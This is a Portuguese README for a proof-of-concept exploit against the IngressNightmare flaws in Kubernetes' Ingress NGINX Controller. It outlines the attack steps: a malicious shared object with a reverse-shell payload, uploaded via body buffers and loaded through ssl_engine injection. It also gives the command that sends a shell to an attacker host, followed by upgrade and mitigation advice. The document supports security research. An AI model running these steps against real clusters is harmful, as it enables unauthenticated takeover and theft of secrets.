
Este é um código PoC para explorar as vulnerabilidades IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514 e CVE-2025-1974).
Este projeto fornece um exploit direcionado a vulnerabilidades críticas de Execução Remota de Código (RCE) não autenticada no Ingress NGINX Controller para Kubernetes, conhecidas coletivamente como IngressNightmare. (Pesquisa feita pela Wiz)
Na pesquisa original, a equipe Wiz não forneceu um PoC ou um exploit funcional, então decidimos criar o nosso próprio e compartilhá-lo com a comunidade.
O Ingress NGINX Controller é um componente amplamente utilizado em ambientes Kubernetes, gerenciando o acesso externo a serviços dentro dos clusters. Vulnerabilidades recentes (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) descobertas em seu admission controller podem levar ao acesso não autorizado a todos os segredos entre namespaces e potencialmente permitir a tomada completa do cluster.
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
O exploit segue estas etapas principais:
Gerar objeto compartilhado (usado pela propriedade ssl_engine injetada):
Compila uma biblioteca .so (evil_engine.so) contendo o payload de reverse shell.
Fazer upload do objeto compartilhado:
Envia o objeto compartilhado compilado para o pod ingress, aproveitando o tratamento de requisições (buffers de corpo do cliente). O truque aqui é enviar um Content-Length diferente para o servidor para manter a conexão aberta e manter o descritor de arquivo para o arquivo aberto.
Força bruta no fd: Itera sobre IDs de processo e descritores de arquivo (/proc/{pid}/fd/{fd}) para identificar o descritor correto que referencia o objeto enviado.
Pré-requisitos: Python 3.x Compilador GCC Módulo Python requests
Execute o exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/HEAD/attacker_host:port)
Ex: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Às vezes o admission webhook está em um namespace diferente. Neste caso, você precisa especificar o namespace no final, como kube-system, default ou ingress-nginx.
<ingress_url>: URL de destino do Ingress (pública)
<admission_webhook_url>: URL do webhook de admissão (webhook interno)
attacker_host:port: Seu host e porta para o reverse shell
Atualize imediatamente: Faça upgrade do Ingress NGINX Controller para versões corrigidas (1.12.1 ou 1.11.5).
Restrinja o webhook de admissão: Limite o acesso ao webhook apenas ao Kubernetes API Server.
Desativação temporária: Considere desabilitar temporariamente o componente admission controller se a atualização não for possível imediatamente.
QuimeraX Intelligence é uma plataforma avançada de EASM e Inteligência de Ameaças Cibernéticas especializada em identificar vulnerabilidades críticas em sistemas complexos. A plataforma monitora, detecta e alerta proativamente os clientes sobre ameaças de segurança, garantindo transparência e resposta rápida a riscos potenciais. Os clientes recebem notificações imediatas e relatórios abrangentes se seus sistemas forem considerados vulneráveis, permitindo que tomem ações de proteção. saiba mais
Hakai Security é uma empresa de cibersegurança fundada por profissionais de segurança, comprometida com a excelência técnica. Oferecemos soluções de segurança personalizadas, incluindo testes de penetração avançados, simulações realistas de Red Team e práticas de desenvolvimento seguro para proteger proativamente os ativos de nossos clientes contra ameaças cibernéticas em evolução. saiba mais
Aviso Legal
Este exploit é fornecido estritamente para fins educacionais e de pesquisa. Uso não autorizado desta ferramenta contra alvos sem permissão explícita. A Hakai Security e a QuimeraX não se responsabilizam pelo uso indevido ou danos causados pelo uso deste exploit.